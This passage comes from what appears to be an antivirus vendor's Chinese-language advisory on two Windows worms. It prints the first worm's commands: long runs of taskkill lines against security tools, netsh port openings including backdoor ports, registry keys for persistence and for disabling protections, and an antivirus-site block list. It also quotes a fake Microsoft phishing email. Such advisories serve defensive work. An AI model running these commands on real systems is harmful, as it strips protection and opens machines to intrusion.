    @taskkill /IM NTXconfig.exe /F
    @taskkill /IM NUI.exe /F
    @taskkill /IM NUPGRADE.exe /F
    @taskkill /IM NUPGRADE.exe /F
    @taskkill /IM NVARCH16.exe /F
    @taskkill /IM NVC95.exe /F
    @taskkill /IM NVSVC32.exe /F
    @taskkill /IM NWINST4.exe /F
    @taskkill /IM NWSERVICE.exe /F
    @taskkill /IM NWTOOL16.exe /F
    @taskkill /IM OLLYDBG.exe /F
    @taskkill /IM ONSRVR.exe /F
    @taskkill /IM OPTIMIZE.exe /F
    @taskkill /IM OSTRONET.exe /F
    @taskkill /IM OTFIX.exe /F
    @taskkill /IM OUTPOST.exe /F
    @taskkill /IM OUTPOST.exe /F
    @taskkill /IM OUTPOSTINSTALL.exe /F
    @taskkill /IM OUTPOSTPROINSTALL.exe /F
    @taskkill /IM PADMIN.exe /F
    @taskkill /IM PANIXK.exe /F
    @taskkill /IM PATCH.exe /F
    @taskkill /IM PAVCL.exe /F
    @taskkill /IM PAVPROXY.exe /F
    @taskkill /IM PAVSCHED.exe /F
    @taskkill /IM PAVW.exe /F
    @taskkill /IM PCFWALLICON.exe /F
    @taskkill /IM PCIP10117_0.exe /F
    @taskkill /IM PCSCAN.exe /F
    @taskkill /IM PDSETUP.exe /F
    @taskkill /IM PERISCOPE.exe /F
    @taskkill /IM PERSFW.exe /F
    @taskkill /IM PERSWF.exe /F
    @taskkill /IM PF2.exe /F
    @taskkill /IM PFWADMIN.exe /F
    @taskkill /IM PGMONITR.exe /F
    @taskkill /IM PINGSCAN.exe /F
    @taskkill /IM PLATIN.exe /F
    @taskkill /IM POP3TRAP.exe /F
    @taskkill /IM POPROXY.exe /F
    @taskkill /IM POPSCAN.exe /F
    @taskkill /IM PORTDETECTIVE.exe /F
    @taskkill /IM PORTMONITOR.exe /F
    @taskkill /IM POWERSCAN.exe /F
    @taskkill /IM PPINUPDT.exe /F
    @taskkill /IM PPTBC.exe /F
    @taskkill /IM PPVSTOP.exe /F
    @taskkill /IM PRIZESURFER.exe /F
    @taskkill /IM PRMT.exe /F
    @taskkill /IM PRMVR.exe /F
    @taskkill /IM PROCDUMP.exe /F
    @taskkill /IM PROCESSMONITOR.exe /F
    @taskkill /IM PROCEXPLORERV1.0.exe /F
    @taskkill /IM PROGRAMAUDITOR.exe /F
    @taskkill /IM PROPORT.exe /F
    @taskkill /IM PROTECTX.exe /F
    @taskkill /IM PSPF.exe /F
    @taskkill /IM PURGE.exe /F
    @taskkill /IM QCONSOLE.exe /F
    @taskkill /IM QSERVER.exe /F
    @taskkill /IM RAPAPP.exe /F
    @taskkill /IM RAV7.exe /F
    @taskkill /IM RAV7WIN.exe /F
    @taskkill /IM RAV8WIN32ENG.exe /F
    @taskkill /IM RAY.exe /F
    @taskkill /IM RB32.exe /F
    @taskkill /IM RCSYNC.exe /F
    @taskkill /IM REALMON.exe /F
    @taskkill /IM REGED.exe /F
    @taskkill /IM REGEDIT.exe /F
    @taskkill /IM REGEDT32.exe /F
    @taskkill /IM RESCUE.exe /F
    @taskkill /IM RESCUE32.exe /F
    @taskkill /IM RRGUARD.exe /F
    @taskkill /IM RSHELL.exe /F
    @taskkill /IM RTVSCAN.exe /F
    @taskkill /IM RTVSCN95.exe /F
    @taskkill /IM RULAUNCH.exe /F
    @taskkill /IM RUN32DLL.exe /F
    @taskkill /IM RUNDLL.exe /F
    @taskkill /IM RUNDLL16.exe /F
    @taskkill /IM RUXDLL32.exe /F
    @taskkill /IM SAFEWEB.exe /F
    @taskkill /IM SAHAGENT.exe /F
    @taskkill /IM SAVE.exe /F
    @taskkill /IM SAVENOW.exe /F
    @taskkill /IM SBSERV.exe /F
    @taskkill /IM SC.exe /F
    @taskkill /IM SCAM32.exe /F
    @taskkill /IM SCAN32.exe /F
    @taskkill /IM SCAN95.exe /F
    @taskkill /IM SCANPM.exe /F
    @taskkill /IM SCRSCAN.exe /F
    @taskkill /IM SETUPVAMEEVAL.exe /F
    @taskkill /IM SETUP_FLOWPROTECTOR_US.exe /F
    @taskkill /IM SFC.exe /F
    @taskkill /IM SGSSFW32.exe /F
    @taskkill /IM SH.exe /F
    @taskkill /IM SHELLSPYINSTALL.exe /F
    @taskkill /IM SHN.exe /F
    @taskkill /IM SHOWBEHIND.exe /F
    @taskkill /IM SMC.exe /F
    @taskkill /IM SMS.exe /F
    @taskkill /IM SMSS32.exe /F
    @taskkill /IM SOAP.exe /F
    @taskkill /IM SOFI.exe /F
    @taskkill /IM SPERM.exe /F
    @taskkill /IM SPF.exe /F
    @taskkill /IM SPHINX.exe /F
    @taskkill /IM SPOLER.exe /F
    @taskkill /IM SPOOLCV.exe /F
    @taskkill /IM SPOOLSV32.exe /F
    @taskkill /IM SPYXX.exe /F
    @taskkill /IM SREXE.exe /F
    @taskkill /IM SRNG.exe /F
    @taskkill /IM SS3EDIT.exe /F
    @taskkill /IM SSGRATE.exe /F
    @taskkill /IM SSG_4104.exe /F
    @taskkill /IM ST2.exe /F
    @taskkill /IM START.exe /F
    @taskkill /IM STCLOADER.exe /F
    @taskkill /IM SUPFTRL.exe /F
    @taskkill /IM SUPPORT.exe /F
    @taskkill /IM SUPPORTER5.exe /F
    @taskkill /IM SVC.exe /F
    @taskkill /IM SVCHOSTC.exe /F
    @taskkill /IM SVCHOSTS.exe /F
    @taskkill /IM SVSHOST.exe /F
    @taskkill /IM SWEEP95.exe /F
    @taskkill /IM SWEEPNET.SWEEPSRV.SYS.SWNETSUP.exe /F
    @taskkill /IM SYMPROXYSVC.exe /F
    @taskkill /IM SYMTRAY.exe /F
    @taskkill /IM SYSEDIT.exe /F
    @taskkill /IM SYSTEM.exe /F
    @taskkill /IM SYSTEM32.exe /F
    @taskkill /IM SYSUPD.exe /F
    @taskkill /IM TASKMG.exe /F
    @taskkill /IM TASKMO.exe /F
    @taskkill /IM TASKMON.exe /F
    @taskkill /IM TAUMON.exe /F
    @taskkill /IM TBSCAN.exe /F
    @taskkill /IM TC.exe /F
    @taskkill /IM TCA.exe /F
    @taskkill /IM TCM.exe /F
    @taskkill /IM TDS-3.exe /F
    @taskkill /IM TDS2-NT.exe /F
    @taskkill /IM TEEKIDS.exe /F
    @taskkill /IM TFAK.exe /F
    @taskkill /IM TFAK5.exe /F
    @taskkill /IM TGBOB.exe /F
    @taskkill /IM TITANIN.exe /F
    @taskkill /IM TITANINXP.exe /F
    @taskkill /IM TRACERT.exe /F
    @taskkill /IM TRICKLER.exe /F
    @taskkill /IM TRJSCAN.exe /F
    @taskkill /IM TRJSETUP.exe /F
    @taskkill /IM TROJANTRAP3.exe /F
    @taskkill /IM TSADBOT.exe /F
    @taskkill /IM TVMD.exe /F
    @taskkill /IM TVTMD.exe /F
    @taskkill /IM UNDOBOOT.exe /F
    @taskkill /IM UPDAT.exe /F
    @taskkill /IM UPDATE.exe /F
    @taskkill /IM UPDATE.exe /F
    @taskkill /IM UPGRAD.exe /F
    @taskkill /IM UTPOST.exe /F
    @taskkill /IM VBCMSERV.exe /F
    @taskkill /IM VBCONS.exe /F
    @taskkill /IM VBUST.exe /F
    @taskkill /IM VBWIN9X.exe /F
    @taskkill /IM VBWINNTW.exe /F
    @taskkill /IM VCSETUP.exe /F
    @taskkill /IM VET32.exe /F
    @taskkill /IM VET95.exe /F
    @taskkill /IM VETTRAY.exe /F
    @taskkill /IM VFSETUP.exe /F
    @taskkill /IM VIR-HELP.exe /F
    @taskkill /IM VIRUSMDPERSONALFIREWALL.exe /F
    @taskkill /IM VNLAN300.exe /F
    @taskkill /IM VNPC3000.exe /F
    @taskkill /IM VPC32.exe /F
    @taskkill /IM VPC42.exe /F
    @taskkill /IM VPFW30S.exe /F
    @taskkill /IM VPTRAY.exe /F
    @taskkill /IM VSCAN40.exe /F
    @taskkill /IM VSCENU6.02D30.exe /F
    @taskkill /IM VSCHED.exe /F
    @taskkill /IM VSECOMR.exe /F
    @taskkill /IM VSHWIN32.exe /F
    @taskkill /IM VSISETUP.exe /F
    @taskkill /IM VSMAIN.exe /F
    @taskkill /IM VSMON.exe /F
    @taskkill /IM VSSTAT.exe /F
    @taskkill /IM VSWIN9XE.exe /F
    @taskkill /IM VSWINNTSE.exe /F
    @taskkill /IM VSWINPERSE.exe /F
    @taskkill /IM W32DSM89.exe /F
    @taskkill /IM W9X.exe /F
    @taskkill /IM WATCHDOG.exe /F
    @taskkill /IM WEBDAV.exe /F
    @taskkill /IM WEBSCANX.exe /F
    @taskkill /IM WEBTRAP.exe /F
    @taskkill /IM WFINDV32.exe /F
    @taskkill /IM WHOSWATCHINGME.exe /F
    @taskkill /IM WIMMUN32.exe /F
    @taskkill /IM WIN-BUGSFIX.exe /F
    @taskkill /IM WIN32.exe /F
    @taskkill /IM WIN32US.exe /F
    @taskkill /IM WINACTIVE.exe /F
    @taskkill /IM WINDOW.exe /F
    @taskkill /IM WINDOWS.exe /F
    @taskkill /IM WININETD.exe /F
    @taskkill /IM WININIT.exe /F
    @taskkill /IM WININITX.exe /F
    @taskkill /IM WINLOGIN.exe /F
    @taskkill /IM WINMAIN.exe /F
    @taskkill /IM WINNET.exe /F
    @taskkill /IM WINPPR32.exe /F
    @taskkill /IM WINRECON.exe /F
    @taskkill /IM WINSERVN.exe /F
    @taskkill /IM WINSSK32.exe /F
    @taskkill /IM WINSTART.exe /F
    @taskkill /IM WINSTART001.exe /F
    @taskkill /IM WINTSK32.exe /F
    @taskkill /IM WINUPDATE.exe /F
    @taskkill /IM WKUFIND.exe /F
    @taskkill /IM WNAD.exe /F
    @taskkill /IM WNT.exe /F
    @taskkill /IM WRADMIN.exe /F
    @taskkill /IM WRCTRL.exe /F
    @taskkill /IM WSBGATE.exe /F
    @taskkill /IM WUPDATER.exe /F
    @taskkill /IM WUPDT.exe /F
    @taskkill /IM WYVERNWORKSFIREWALL.exe /F
    @taskkill /IM XPF202EN.exe /F
    @taskkill /IM ZAPRO.exe /F
    @taskkill /IM ZAPSETUP3001.exe /F
    @taskkill /IM ZATUTOR.exe /F
    @taskkill /IM ZONALM2601.exe /F
@taskkill /IM ZONEALARM.exe /F
@taskkill /IM _AVP32.exe /F
@taskkill /IM _AVPCC.exe /F
@taskkill /IM _AVPM.exe /F
@taskkill /IM CMD.exe /F
@taskkill /IM TASKMGR.EXE /F
@taskkill /IM NEC.EXE /F

    F 覆蓋C:\\WINDOWS\\System32\\Firewall.bat文件,來打開防火牆的各種設置
    @netsh firewall add portopening tcp 7 Echo
    @netsh firewall add portopening tcp 443 HTTPS
    @netsh firewall add portopening tcp 445 Echo Request
    @netsh firewall add portopening tcp 135 File Sharing
    @netsh firewall add portopening tcp 137 File Sharing
    @netsh firewall add portopening tcp 139 File Sharing
    @netsh firewall add portopening tcp 110 POP3
    @netsh firewall add portopening tcp 109 POP2
    @netsh firewall add portopening tcp 21 FTP
    @netsh firewall add portopening tcp 20 FTP-Data
    @netsh firewall add portopening tcp 25 SMTP
    @netsh firewall add portopening tcp 23 Telnet
    @netsh firewall add portopening tcp 22 SSH
    @netsh firewall add portopening tcp 80 HTTP
    @netsh firewall add portopening tcp 8080 HTTP Proxy
    @netsh firewall add portopening tcp 5554 Backdoor
    @netsh firewall add portopening tcp 1080 Proxy
    @netsh firewall add portopening tcp 3389 Remote Destop
    @netsh firewall add portopening tcp 4899 Remote Administrator
    @netsh firewall add portopening tcp 5800 VNC
    @netsh firewall add portopening tcp 5900 VNC
    @netsh firewall add portopening tcp 6667 Backdoor
    @netsh firewall add portopening tcp 42 WINS
    @netsh firewall add portopening tcp 256 Firewall
    @netsh firewall add portopening tcp 257 Firewall
    @netsh firewall add portopening tcp 259 Firewall
    @netsh firewall add portopening tcp 70 gopher
    @netsh firewall add portopening tcp 79 Finger
    @netsh firewall add portopening tcp 53 DNS
    @netsh firewall add portopening tcp 258 Firewall
    @netsh firewall add portopening tcp 1745 PPTP
    @netsh firewall add portopening tcp 1723 PPTP
    @netsh firewall add portopening udp 69 UDP
    @netsh firewall add portopening udp 53 DNS Server
   @netsh firewall add portopening udp 1810 IAS
    @netsh firewall add portopening udp 1811 IAS

    G 增加註冊表項
    "WINLOGON" = "wscript.exe C:\\Windows\\System32\\WINLOGON.vbs %"
    "Tasmgr" = "C:\\WINDOWS\\System32\\Taskmgr.bat"
    "Firewall" = "C:\\WINDOWS\\System32\\Firewall.bat"
    到註冊表的
   HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Run
    使得病毒在每次開機後自動執行和破壞
    H 增加註冊表項
    "Event17" = "dcc send $nick C:\\Virc\\Sexy Girls.mpg.vbs"
    到註冊表的
    HKEY_CURRENT_USER\\.Default\\Software\\MeGaLiTh Software\\Visual IRC 96\\Events
     使得病毒通過IRC頻道傳播
    I增加註冊表項
    "1" = "regedit.exe"
    "2" = "regedt32.exe"
    "3" = "taskmgr.exe"
     "4" = "wuauclt1.exe"
    "5" = "wuauclt.exe"
    "6" = "wupdmgr.exe"
    "7" = "vptray.exe"
    "8" = "wupdmgr.exe"
    "9" = "vpc32.exe"
    "10" = "LUAll.exe"
    到註冊表的
    HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun
    降低系統安全防範

    J增加註冊表項
    "1" = "regedit.exe"
    "2" = "regedt32.exe"
    "3" = "taskmgr.exe"
    "4" = "wuauclt1.exe"
    "5" = "wuauclt.exe"
    "6" = "wupdmgr.exe"
    "7" = "vptray.exe"
    "8" = "wupdmgr.exe"
    "9" = "vpc32.exe"
    "10" = "LUAll.exe"
    到註冊表的
    HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun
    降低系統安全防範
    K 增加註冊表項
    "DisableRegistryTools" = "1"
    "DisableTaskMgr" = "1"
    "NoVirtMemPage" = "1"
    到註冊表的
    HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
    來禁用一些安全軟體
    L增加註冊表項
    "FirewallDisableNotify" = "1"
    "FirewallOverride" = "1"
    "UpdatesDiasbleNotify" = "1"
    "AntivirusDisableNotify" = "1"
    到註冊表的
    HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Security Center
    降低系統安全防範
    M增加註冊表項"Disabled = "1"到註冊表的
    HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp
    N 增加註冊表項"NoControlPanel" = "1"到註冊表的
    HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    O增加註冊表項"WinStationsDisabled" ="1"到註冊表的
    HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon
    P增加註冊表項"AUOptions = "1"到註冊表的
    HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update
    Q增加註冊表項"DomainProfile" = "1"到註冊表的
    HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\WindowsFirewall
    R增加註冊表項"EnableFirewall" = "1"到註冊表的
    HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile
    S增加註冊表項"DisableNotifications" = "1" 、"EnableFirewall" = "0"到註冊表的
    HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile
    T增加註冊表項"ServiceUpgrade" = "0"到註冊表的
    HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\SharedAccess\\Setup
    U增加註冊表項"wscsvc" = "4"到註冊表的
    HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services
    V增加註冊表項"Start" = "4"到註冊表的
    HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\ShareAccess
    W 刪除註冊表
    HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\HTTPFilter\\Parameters\\description
    X 搜尋Windows地址簿發送病毒郵件
    標題: Your Microsoft Firewall Help
    內容:Microsoft found a problem in your last update with your Windows Firewall. To fix the problem you must install the attached file.
    Microsoft (R)
   
    附件: WINLOGON.vbs
    Y 如果系統中安裝了IRC,發送c:\\windows\\system\\porno.vbs到所有的IRC 頻道
    Z 修改所有在C:\\Windows\\Inf 目錄中擴展名為.iis 的文件,增加一行文本:
    Source: C:\\WINDOWS\\System32\\WINLOGON.vbs; DestDir: {app}; Flags: ignoreversion
    AA 關閉以下地址的計算機
    1. 192.168.1.15
    2. 192.168.1.16
    3. 192.168.1.17
    4. 192.168.1.18
    5. 192.168.1.19
    6. 192.168.1.20
    7. 192.168.1.21
    8. 192.168.1.22
    9. 192.168.1.23
    10. 192.168.1.24
    11. 192.168.1.25
    12. 192.168.1.26
    13. 192.168.1.27
    14. 192.168.1.28
    15. 192.168.1.29
    16. 192.168.1.30
    17. 192.168.1.31
    18. 192.168.1.32
    19. 192.168.1.33
    20. 192.168.1.34
    21. 192.168.1.35
    22. 192.168.1.36
    23. 192.168.1.37
    24. 192.168.1.38
    25. 192.168.1.39
    26. 192.168.1.40
    27. 192.168.1.41
    28. 192.168.1.42
    29. 192.168.1.43
    30. 192.168.1.44
    31. 192.168.1.45
    32. 192.168.1.46
    33. 192.168.1.47
    34. 192.168.1.101
    35. 192.168.1.102
    36. 192.168.1.103
    37. 192.168.1.104
    38. 192.168.1.105
    39. 192.168.1.106
    40. 192.168.1.107
    41. 192.168.1.108
    42. 192.168.1.109
    43. 192.168.1.111
    44. 192.168.1.112
    45. 192.168.1.113
    46. 192.168.1.114
    47. 192.168.1.115
    48. 192.168.1.116
    49. 192.168.1.117
    50. 192.168.1.118
    51. 192.168.1.119
    52. 192.168.1.120
    53. 192.168.15.100
    54. 192.168.15.101
    55. 192.168.15.102
    56. 192.168.15.103
    57. 192.168.15.104
    58. 192.168.15.105
    59. 192.168.15.106
    60. 192.168.15.107
    61. 192.168.15.108
    62. 192.168.15.109
    63. 192.168.15.111
    64. 192.168.15.112
    65. 192.168.15.113
    66. 192.168.15.114
    67. 192.168.15.115
    68. 192.168.15.116
    69. 192.168.15.117
    70. 192.168.15.118
    71. 192.168.15.119
    72. 192.168.15.120
    AB 屏蔽以下網站的訪問
   
    securityresponse.symantec.com
    symantec.com
   
    sophos.com
   
    mcafee.com
    liveupdate.symantecliveupdate.com
   
    viruslist.com
    viruslist.com
    f-secure.com
   
    kaspersky.com
    kaspersky-labs.com
   
   
    avp.com
   
    networkassociates.com
   
    ca.com
    mast.mcafee.com
    my-etrust.com
   
    download.mcafee.com
   dispatch.mcafee.com
    secure.nai.com
    nai.com
   
    update.symantec.com
    updates.symantec.com
    us.mcafee.com
    liveupdate.symantec.com
    customer.symantec.com
    rads.mcafee.com
    trendmicro.com
   
   
   
    microsoft.com
   
   
    virustotal.com
   
    oxyd.fr
   
    t35.com
   
    t35.net
   
   
    downloads-us1.kaspersky-labs.com
    updates1.kaspersky-labs.com
    updates2.kaspersky-labs.com
    updates3.kaspersky-labs.com
    downloads1.kaspersky-labs.com
    downloads2.kaspersky-labs.com
    downloads3.kaspersky-labs.com
   
   
   
   
    windowsupdate.microsoft.com
    officeupdate.microsoft.com
   
   
   
   
   
   
   
   
   
    content.tibs.at
   
    jp.fujitsu.com
   
   
   
    newsflash.nifty.com
   
   
   
   
    computers.yahoo.co.jp
    kuro.nobody.jp
    citadelle.intrinsec.com
    computer.msn.co.jp
   
    d.hatena.ne.jp
   
    bbs.whnet.edu.cn
   
    omakase.jp
    stats.epiknet.org
   
    sid.softek.co.jp
    news.goo.ne.jp
   
   
   
    192.168.1.1
    192.168.15.1
    AC 執行C:\\WINDOWS\\System32\\Firewall.bat.
    AD 顯示對話框

    光華反病毒軟體已經及時對這種病毒進行了處理,請用戶升級後,使用光華反病毒軟體清除。

    2、Win32病毒W32.Cabreck 危害級別:★★☆☆☆
根據光華反病毒研究中心專家介紹,這是一個Win32病毒,長度為12,288位元組,感染Windows 2000, Windows 95, Windows     98, Windows Me, Windows NT, Windows Server 2003, Windows XP系統。它通過網絡共享傳播;當收到、打開此病毒時,,有以下危害:
    A 顯示對話框
 
    B增加註冊表項"run" = "Cable.exe"到註冊表的
    HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows使得病毒在每次開機後自動執行
    C 複製自身到以下目錄的
    系統驅動目錄
    Windows目錄
    當前目錄
    [本地共享目錄]
    以下文件
    Cable.exe
    FileCryptor.exe
    Microsoft SP4.exe
    Acrobat Reader Setup.exe
    NAI Mcafee.exe
    Norton AV.exex
    PGP Free.exe
    Password recovery.exe
    KazzaP2P.exe
    Download accelerator.exe
    Linux Source.exe
    Winzip.exe
    Lotus app.exe
    Netscape.exe
    Money Manger.exe
    Paypal.exe
    FixMydoom.exe
    BillSux.exe
    MorpheusP2P.exe
    E_donkey.exe
    Calvin and Hobbes.exe
    D 搜索網絡共享,複製病毒到共享中的以下命名的文件
    Cable.exe
    FileCryptor.exe
    Microsoft SP4.exe
    Acrobat Reader.exe
    Setup.exe
    NAI Mcafee.exe
    Norton AV.exex
    PGP Free.exe
    Password recovery.exe
    KazzaP2P.exe
    Download accelerator.exe
    Linux Source.exe
    Winzip.exe
    Lotus app.exe
    Netscape.exe
    Money Manger.exe
    Paypal.exe
    FixMydoom.exe
    BillSux.exe
    MorpheusP2P.exe
    E_donkey.exe
    Calvin and Hobbes.exe
    E 增加以下內容到Windows目錄的win.ini 和cable.ini文件
    Origin= India
    Type= Netwreck Worm
    Credicts= [Cable] By Gabe (Gabe Roq''s Inc.)
    Warning= Amazing things will happen, you just wait...
    Note= Your Death is comming...Anticipation afterall is everything!
    SignNote= Because Death is only the beginning...
    Quote= For those who believe no explanation is necessary, for those who don''t nothing will suffice.

    北京日月光華軟體公司網站每日進行病毒特徵碼更新,光華反病毒研究中心專家提醒您:請儘快到光華安全網站在線訂購光華反病毒軟體來防範病毒的入侵,時刻保護您的電腦安全。光華反病毒軟體用戶升級到6月20日的病毒庫就可以完全查殺這些病毒。

同类文章

創新才能共贏酷6網UGC模式為你引航

    YouTube是世界上最大的視頻分享網站,以UGC(用戶產生內容)視頻互動分享為主,而對於這種UGC視頻平臺建設而言,用戶與內容量是發揮規模效應的基礎。作為短視頻網站的代表,酷6網一直堅持著UGC路線,他所擁有的海量視頻資源以及優秀拍客群體,都為它在短視頻領域的成功奠定了基礎,使它成為目前中

「短酷」APP成為拜年「潮品」

        春節期間,一款名為「短酷」的APP悄然躥紅。一年一度的新春佳節是中國老百姓歡聚一堂、享受人生的日子,大家在一起留影紀念必不可少。「短酷」能夠將照片一鍵變成短視頻,還可以配樂、配上自己想說的話,順應了過年期間記錄美好回憶的需求。也有些不能回家團圓的朋友用「短酷」為家人做一封「電子家書

聯建光電攜手微信紅包 史上最大紅包有望出爐

    【2014年2月13日,深圳】在2014年元宵節和情人節「雙節」臨近之際,中國企業家思想群友(微信公眾號,CEOideas )攜手創業板上市公司聯建光電(股票代碼,300269),開展微信搶紅包創意活動。本次活動是繼2014年農曆微信搶紅包後又一次具有實驗意義的傳播活動,將掀起微信搶紅包的又

搜狗壁紙:甜蜜浪漫過雙節

    今年的2月14日正好就是農曆正月十五,元宵節和情人節趕在了同一天。還沒從春節的喜悅中緩過神來的朋友們,又將迎來一個特別浪漫的節日。為此,搜狗壁紙為廣大用戶準備了眾多精美的元宵節及情人節壁紙,為大家增添節日氣氛。   元宵節 鬧元宵  農曆正月十五元宵節,又稱為「上元節」,是中國漢族和部分兄弟

騰訊QQ上線3D大黃臉表情包:目前已有16種

       說到QQ大黃臉表情,大家一定都非常熟悉,而根據相關的統計數據,其中「笑哭」的表情也是中國網遊使用頻率最高的表情。近日,騰訊QQ再次推出了3D版的QQ黃臉表情,共16個表情包,讓人看了忍不住像要下載。      據了解,這一套看起來超萌的表情包卻耗費了設計師不少的精力,尤其是那個經典的「
你們不是水軍!?仙劍6發行商認錯道歉

你們不是水軍!?仙劍6發行商認錯道歉

    《仙劍奇俠傳6》引發的爭議又進入了新階段了——玩家的吐槽還在繼續,周六官方火上澆油式的公關招到了更多人的反感,但居高臨下指責水軍抹黑的仙劍6發行商暢遊樂動已經頂不住了,昨晚刪除了之前的微博,已經向玩家表示歉意。    事情的起因不需多說了,玩仙劍6的肯定知道,不玩的人估計也不會關心。其實大家
繼續打巨魔的節奏 魔獸7.0新內容曝光

繼續打巨魔的節奏 魔獸7.0新內容曝光

    這是一篇美服論壇的劇透帖子——這樣的帖子每天發10個都不會累,但是這一個不同:次的LZ似乎就是上次在MMO champion上爆料WOD的那個啊!    要不就是暴雪沒學乖,要不就是暴雪故意的,不過由於WOD這種營銷看起來還挺成功,故意的可能性也許大?    資料片內容預覽      資料片
《爐石傳說》"冠軍的試煉"八月開啟

《爐石傳說》"冠軍的試煉"八月開啟

    在地精與侏儒交戰8個多月之後,《爐石傳說》的新內容「冠軍的試練」即將在8月初正式登場,屆時將有132張全新的卡牌、全新主題的對戰面板以及歡迎各位買買買的新卡包來到各位玩家面前,下面我們就一起來了解一下《爐石傳說》「冠軍的試練」中的內容吧。以下內容來自爐石傳說官網    來自艾澤拉斯各個角落的
不再掉幀?《仙劍奇俠傳6》新補丁到來

不再掉幀?《仙劍奇俠傳6》新補丁到來

《仙劍奇俠傳6》PC版的優化讓很多玩家揪心,在遊戲發售後,《仙劍奇俠傳6》官方面對玩家提出的各種問題積極回應反饋,補丁也在緊急製作中,今日,《仙劍奇俠傳6》的1.0.3補丁正式發布,一起來看看都更新了哪些玩家迫切等待修復的問題吧。    針對之前《仙劍奇俠傳6》版本的3D效能優化效果不流暢,或者運行
《虛空之遺》開啟預購 快來買買買!

《虛空之遺》開啟預購 快來買買買!

    作為暴雪旗下《星際爭霸II》三部曲的最終篇章——《星際爭霸II:虛空之遺》於今日正式開啟了預售,現在各位玩家可以通過點擊「」或打開自己的戰網客戶端進入到《星際爭霸II:虛空之遺》國服的預購頁面,提前入手《星際爭霸II:虛空之遺》。    在這次《星際爭霸II:虛空之遺》國服的預售活動中,各位